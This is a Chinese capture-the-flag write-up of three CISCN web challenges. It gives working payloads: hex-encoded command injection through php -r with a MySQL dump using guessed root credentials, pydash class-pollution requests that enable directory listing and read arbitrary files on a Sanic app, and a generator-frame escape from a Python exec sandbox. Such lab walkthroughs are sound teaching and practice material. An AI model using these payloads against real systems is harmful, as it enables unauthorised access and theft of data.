ciscn writeup

web

simple_php(复现)

解法一

比赛的时候一直在尝试其他命令,看了wp才发现能用php -r ‘代码’来执行php语句或者系统命令

与此相似的还有php -i可以查看phpinfo等等

但是由于题目过滤了许多关键字,我们可以利用hex2bin转码绕过过滤

hex2bin(‘语句’); 但是由于过滤了引号,使用substr截取一个字符(这里是下划线),剩下的就会被识别为字符串

hex编码 ls / -> 6c73202f

1
php -r system(hex2bin(substr(_6c73202f,1)));

命令成功执行

之后找了一圈没发现flag,ps -def指令可以查看进程

ps -def -> _7073202d646566

其中看到了mysql,flag应该在数据库中

直接猜账户root密码为root, -e执行sql语句

1
2
mysql -u root -p'root' -e 'show databases;'
cmd=php -r system(hex2bin(substr(_6d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b27,1)));

有PHP_CMS information_schema mysql performance_schema test这几个库

1
2
3
4
echo `mysql -u root -p'root' -e 'show databases;use PHP_CMS;show tables;'`
#注意sql语句用反引号执行
#结果Tables_in_PHP_CMS F1ag_Se3Re7
echo `mysql -u root -p'root' -e 'use PHP_CMS;select * from F1ag_Se3Re7'`

拿到flag!

解法二

没有ban掉diff和dd,可以使用diff读目录,dd读文件:

读根目录

1
diff --recursive / /home

发现根目录没有flag。

读特定文件:

1
dd if=/etc/passwd

没有flag,但是发现了mysql,猜测账号密码root

1
mysqldump -uroot -proot --all-databases

sanic

访问/src目录拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

进入/login设置cookie:user=”adm\073n”,拿到session

进入/admin cookie:session=”51e263b067a94ea6b1d8b51bbf161b97”

通过污染file可以读取文件

{"key":".__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"}

尝试直接污染flag,禁止访问,不知道flag的位置,所以接下来的目的就是获取目录

进入static可以发现两个有关目录的参数

查阅资料可以使用app.route.name_index[]方法查询

先查找当前的路由,对源码改进方便调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from sanic import Sanic
from sanic.response import text, html
#from sanic_session import Session
import sys
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")

@app.route("/src")
async def src(request):
eval(request.args.get('test'))
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

#print(app.router.name_index['name'].directory_view)

if __name__ == '__main__':
app.run(host='0.0.0.0')

进入src目录就可以执行代码了

1
2
print(app.router.name_index)
>>>{'__mp_main__.static': <Route: name=__mp_main__.static path=static/<__file_uri__:path>>, '__mp_main__.src': <Route: name=__mp_main__.src path=src>, '__mp_main__.admin': <Route: name=__mp_main__.admin path=admin>}

这样就可以通过app.router.name_index['__mp_main__']获取路由了

接下来需要知道是怎么调用到directory_handler这块的

我们可以全局搜索name_index[]方法,在这里打个断点进行调试,这样就能看见调用的过程

至此我们了解了调用的顺序:app.route.name_index['__mp_main__'].handler.keywords['directory_handler']

可以访问到directory_view的属性:print(app.route.name_index['__mp_main__'].handler.keywords['directory_handler'])

可以直接污染这个值开启目录了:{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

注意这里不能用[]来包裹其中的索引,污染和直接调用不同,我们需要用.来连接,而__mp_main.static是一个整体,用两个反斜杠来转义就够了

但是directory属性不是一个字符串,不能直接污染赋值,我们需要找到是谁给他赋的值

这里看到parts属性,但是是一个元组(只读)

打开受保护的特性,发现了一个_parts变量,是一个包含目录的list变量,猜测可以污染他来实现对directory赋值

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

#开启列目录
# data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

#将目录设置在根目录下
# data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

#读取flag文件
data = {"key":"__init__\\\\.__globals__\\\\.__file__","value": "/24bcbd0192e591d6ded1_flag"}

cookie={"session":"51e263b067a94ea6b1d8b51bbf161b97"}

response = requests.post(url='http://1344eda7-c9c2-405a-968a-dd1fa736c16f.challenge.ctf.show/admin', json=data,cookies=cookie)

print(response.text)

24bcbd0192e591d6ded1_flag

mossfern

有3个过滤:

1
2
3
4
for i in ["__", "getattr", "exit"]:#字典中使用['_''_']绕过
if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):#Loadglobal可以在外面套一层函数绕过,不能使用import,load_method不能使用.来调用,可以直接f()
if "THIS_IS_SEED" in output:
#输出采用for循环输出

生成器

1
2
3
def my_generator():
yield g.gi_frame.f_back
g=my_generator()

需要的是生成器对象,必须实例化函数

gi_frame:栈帧对象,记录源代码的结构,如果是嵌套的,可以通过f_back属性返回上一级

想要输出flag,可以借用生成器的f_code.consts,但是会被最后的if "THIS_IS_SEED" in output:拦住,可以用for循环遍历输出

细节事项:

1.生成器必须使用才有f_back方法,有两种方法

1
2
3
next(g)
或者
f1=[x for x in g][0]#只有一项

把f_back放到生成器的返回值可以避免被置空

不用next的原因是代码执行的时候设置builtins为none,不能使用其他的函数

1
2
3
4
5
6
7
exec(code, {
"__builtins__": None,
"randint": randint,
"randrange": randrange,
"seed": seed,
"print": print
}, None)

2.几层f_back?

一层一层测试,windows到达全局时不可操作,linux可拿到信息

1
2
f1=[x for x in g][0].f_back.f_back.....
print(f1.f_globals["_"*2+"builtins"+"_"*2])

测试是否有输出

到达最外层后

1
2
3
4
5
6
7
8
def my_generator():
yield g.gi_frame.f_back
g=my_generator()
f1=[x for x in g][0]
f=f1.f_back.f_back.f_back
str=f.f_globals["_"*2+"builtins"+"_"*2].str#这里是取字符串,不是全局查找!
for i in str(f.f_code.co_consts):
print(i)

3.函数中yield的g未定义,会从全局获取,这样会触发检测,外层包一个函数即可

1
2
3
4
5
6
7
8
9
10
11
def jail():
def my_generator():
yield g.gi_frame.f_back

g = my_generator()
f1 = [x for x in g][0]
f = f1.f_back.f_back.f_back
str = f.f_globals["_" * 2 + "builtins" + "_" * 2].str # 这里是取字符串,不是全局查找!
for i in str(f.f_code.co_consts):
print(i)
jail()

4.这样for循环输出的结果会带有空行

1
2
3
4
5
6
7
8
9
10
11
12
13
code="""
def jail():
def my_generator():
yield g.gi_frame.f_back

g = my_generator()
f1 = [x for x in g][0]
f = f1.f_back.f_back.f_back
str = f.f_globals["_" * 2 + "builtins" + "_" * 2].str # 这里是取字符串,不是全局查找!
for i in str(f.f_code.co_consts):
print(i)
jail()"""
print(run(code)['result'].replace('\n',''))

这样就可以连起来了

ctfshow需要json发包,用这个脚本可以转换格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def convert_code(file_path):
with open(file_path, 'r') as file:
code = file.read()

converted_code = code.replace('\n', '\\n').replace(' ', '\\t').replace('\"','\'')

with open(file_path, 'w') as file:
file.write(converted_code)

print("代码转换完成!")

# 将文件路径替换为你要转换的文件路径
file_path = './poc.txt'
convert_code(file_path)